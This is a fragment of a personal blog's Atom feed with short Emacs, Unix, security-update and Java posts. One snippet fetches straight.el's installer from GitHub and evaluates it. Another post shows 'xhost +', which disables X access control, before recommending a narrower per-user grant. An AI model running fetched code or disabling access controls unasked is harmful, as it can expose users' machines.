&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defvar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bootstrap-version&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;bootstrap-file&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;expand-file-name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;straight/repos/straight.el/bootstrap.el&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;user-emacs-directory&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;bootstrap-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;unless&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;file-exists-p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bootstrap-file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;with-current-buffer&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;url-retrieve-synchronously&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://raw.githubusercontent.com/radian-software/straight.el/develop/install.el&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;silent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;inhibit-cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;goto-char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;point-max&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;eval-print-last-sexp&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bootstrap-file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;nomessage&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then I installed copilot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;use-package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;copilot&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:straight&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;github&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:repo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;zerolfx/copilot.el&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;dist&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;*.el&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:ensure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I enabled it for all programming modes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;prog-mode-hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;copilot-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I prefer &lt;code&gt;company-mode&lt;/code&gt; for completion, so I enabled &lt;code&gt;copilot&lt;/code&gt; to use
it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;with-eval-after-load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;company&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;;; disable inline previews&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;delq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;company-preview-if-just-one-frontend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;company-frontends&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;define-key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;copilot-completion-map&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;tab&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;copilot-accept-completion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;define-key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;copilot-completion-map&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;TAB&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;copilot-accept-completion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In advance, I had signed up for copilot on &lt;a href="github.com"&gt;github.com&lt;/a&gt;,
so I just had to use &lt;kbd&gt;M-x&lt;/kbd&gt; &lt;code&gt;copilot-login&lt;/code&gt; to log in. In the
browser, I just pasted in the one time code Emacs had put on the
clipboard.&lt;/p&gt;
&lt;p&gt;The last bit I did, was to enable &lt;code&gt;copilot&lt;/code&gt; all over the place:
&lt;kbd&gt;M-x&lt;/kbd&gt; &lt;code&gt;copilot-global-mode&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That was it. I was ready to use copilot.&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/><category term="openai"/></entry><entry><title>Exploring Chat Gpt</title><link href="https://skybert.net/emacs/exploring-chat-gpt" rel="alternate"/><published>2023-03-30T00:00:00+02:00</published><updated>2023-03-30T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-03-30:/emacs/exploring-chat-gpt</id><content type="html">&lt;h2&gt;gptel&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;gptel-api-key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sk-adsfaf23asfdadsdsaf&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;kbd&gt;M-x gptel&lt;/kbd&gt; &lt;/p&gt;
&lt;h2&gt;3cpio&lt;/h2&gt;
&lt;h2&gt;CodeGPT&lt;/h2&gt;
&lt;p&gt;I liked this feature: Mark a Java function and run &lt;kbd&gt;M-x
codegpt-doc&lt;/kbd&gt; and it'll document the method for you. A tad too
detailed to my taste, but not bad at all.&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/><category term="openai"/></entry><entry><title>Keep your OS secure and up to date</title><link href="https://skybert.net/security/keep-your-os-secure-and-up-to-date" rel="alternate"/><published>2023-01-18T00:00:00+01:00</published><updated>2023-01-18T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-01-18:/security/keep-your-os-secure-and-up-to-date</id><summary type="html">&lt;p&gt;The best and easiest way of keeping your machine secure, is to
constantly upgrade all of its components. Not only a few selected
apps like Chrome, but all components, including the git command, the
SSL/TLS libraries and so on. Below, I list the commands I use on the
different …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The best and easiest way of keeping your machine secure, is to
constantly upgrade all of its components. Not only a few selected
apps like Chrome, but all components, including the git command, the
SSL/TLS libraries and so on. Below, I list the commands I use on the
different platforms I frequent (plus Windows).&lt;/p&gt;
&lt;h2&gt;Debian &amp;amp; Ubuntu based machines&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# apt-get update &amp;amp;&amp;amp; apt-get upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Arch based machines&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Syu
$ paru -Syu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;RedHat 8 and Fedora based machines&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# dnf upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;RedHat 7 based machines&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# yum upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;OpenBSD&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# syspatch
# pkg_add -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;macOS&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# softwareupdate -i -a
$ brew upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Windows 10 1709 (build 16299) or later&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;c:\&amp;gt; winget upgrade --all
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Legend&lt;/h2&gt;
&lt;p&gt;As always, &lt;code&gt;#&lt;/code&gt; means the command should be executed as &lt;code&gt;root&lt;/code&gt; or with
&lt;code&gt;sudo&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; means the command should be executed by your regular
user.&lt;/p&gt;</content><category term="security"/><category term="security"/><category term="windows"/><category term="osx"/><category term="linux"/><category term="unix"/></entry><entry><title>Grant a single user access to your x session</title><link href="https://skybert.net/unix/grant-a-single-user-access-to-your-x-session" rel="alternate"/><published>2023-01-17T00:00:00+01:00</published><updated>2023-01-17T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-01-17:/unix/grant-a-single-user-access-to-your-x-session</id><summary type="html">&lt;p&gt;Say you're logged into your laptop as &lt;code&gt;lisa&lt;/code&gt; and want to give another
user on the same machine access to your X session, i.e. open graphical
applications. For years, I disabled X's authentication mechanism
alltogeter with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ whoami
lisa
$ xhost +
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;john&lt;/code&gt; user could now start graphical appliations:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ whoami
john …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Say you're logged into your laptop as &lt;code&gt;lisa&lt;/code&gt; and want to give another
user on the same machine access to your X session, i.e. open graphical
applications. For years, I disabled X's authentication mechanism
alltogeter with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ whoami
lisa
$ xhost +
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;john&lt;/code&gt; user could now start graphical appliations:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ whoami
john
$ export DISPLAY=:0
$ xeyes &amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, there's a better way. To grant &lt;em&gt;only&lt;/em&gt; &lt;code&gt;john&lt;/code&gt; access to your
graphical dispaly, instead do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ whoami
lisa
$ xhost +SI:localuser:john
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, as &lt;code&gt;john&lt;/code&gt;, export the display to the local one and start the
graphical application:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ whoami
john
$ export DISPLAY=:0
$ xeyes &amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can turn off access to your X server by:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ xhost -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="unix"/><category term="unix"/></entry><entry><title>Set Unix env var from within Emacs</title><link href="https://skybert.net/emacs/set-unix-env-var-from-within-emacs" rel="alternate"/><published>2023-01-02T00:00:00+01:00</published><updated>2023-01-02T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-01-02:/emacs/set-unix-env-var-from-within-emacs</id><summary type="html">&lt;p&gt;You've started Emacs before you added your SSH keys to your keyring?
No problem!&lt;/p&gt;
&lt;p&gt;In the shell where you have your keys added to your keyring:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ssh-add -l
2048 SHA256:FPafasdfasf234 /home/torstein/.ssh/id_rsa (RSA)
256 SHA256:234124sdfsadf234234123 torstein@quanah (ED25519)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Get a hold of the values for these …&lt;/p&gt;</summary><content type="html">&lt;p&gt;You've started Emacs before you added your SSH keys to your keyring?
No problem!&lt;/p&gt;
&lt;p&gt;In the shell where you have your keys added to your keyring:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ssh-add -l
2048 SHA256:FPafasdfasf234 /home/torstein/.ssh/id_rsa (RSA)
256 SHA256:234124sdfsadf234234123 torstein@quanah (ED25519)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Get a hold of the values for these two variables that were set by the
&lt;code&gt;ssy-agent&lt;/code&gt; program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ set | grep ^SSH_
SSH_AGENT_PID=1315
SSH_AUTH_SOCK=/tmp/ssh-XXXXXX6O4ePc/agent.1306
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, in Emacs, evaluate the following elisp:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;setenv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SSH_AGENT_PID&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1315&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;setenv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SSH_AUTH_SOCK&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/tmp/ssh-XXXXXX6O4ePc/agent.1306&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's it. Everything in Emacs that uses SSH, like a typical Magit
session, will use the same keyring that your shell uses.&lt;/p&gt;
&lt;p&gt;Happy coding!&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/><category term="unix"/></entry><entry><title>JAX-RS resource that returns application/zip</title><link href="https://skybert.net/java/jax-rs-resource-that-returns-applicationzip" rel="alternate"/><published>2022-12-28T00:00:00+01:00</published><updated>2022-12-28T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-12-28:/java/jax-rs-resource-that-returns-applicationzip</id><summary type="html">&lt;h2&gt;Option 1&lt;/h2&gt;
&lt;p&gt;Use standard media type that JAX-RS has a serializer for (through
Jackson) and set &lt;code&gt;application/zip&lt;/code&gt; when we do the actual streaming:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@Produces&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MediaType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getZip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;StreamingOutput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZipOutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zipOutput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZipOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// write to zipOut&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;zipOutput&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpHeaders …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;Option 1&lt;/h2&gt;
&lt;p&gt;Use standard media type that JAX-RS has a serializer for (through
Jackson) and set &lt;code&gt;application/zip&lt;/code&gt; when we do the actual streaming:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@Produces&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MediaType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getZip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;StreamingOutput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZipOutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zipOutput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZipOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// write to zipOut&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;zipOutput&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpHeaders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CONTENT_TYPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;application/zip&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;CONTENT_DISPOSITION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;attachment; filename=\&amp;quot;file.zip\&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Option 2&lt;/h2&gt;</content><category term="java"/><category term="java"/><category term="rest"/><category term="http"/></entry><entry><title>macOS as Unix Workstation 2022</title><link href="https://skybert.net/mac-os-x/macos-as-unix-workstation-2022" rel="alternate"/><published>2022-11-21T00:00:00+01:00</published><updated>2022-11-21T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-11-21:/mac-os-x/macos-as-unix-workstation-2022</id><summary type="html">&lt;p&gt;&lt;a href="/graphics/2022/macos-unix/unix-ready-macos.png"&gt;
  &lt;img
    src="/graphics/2022/macos-unix/unix-ready-macos.png"
    alt="Unix pro environment in macOS"
    style="width: 1024px"
  /&gt;
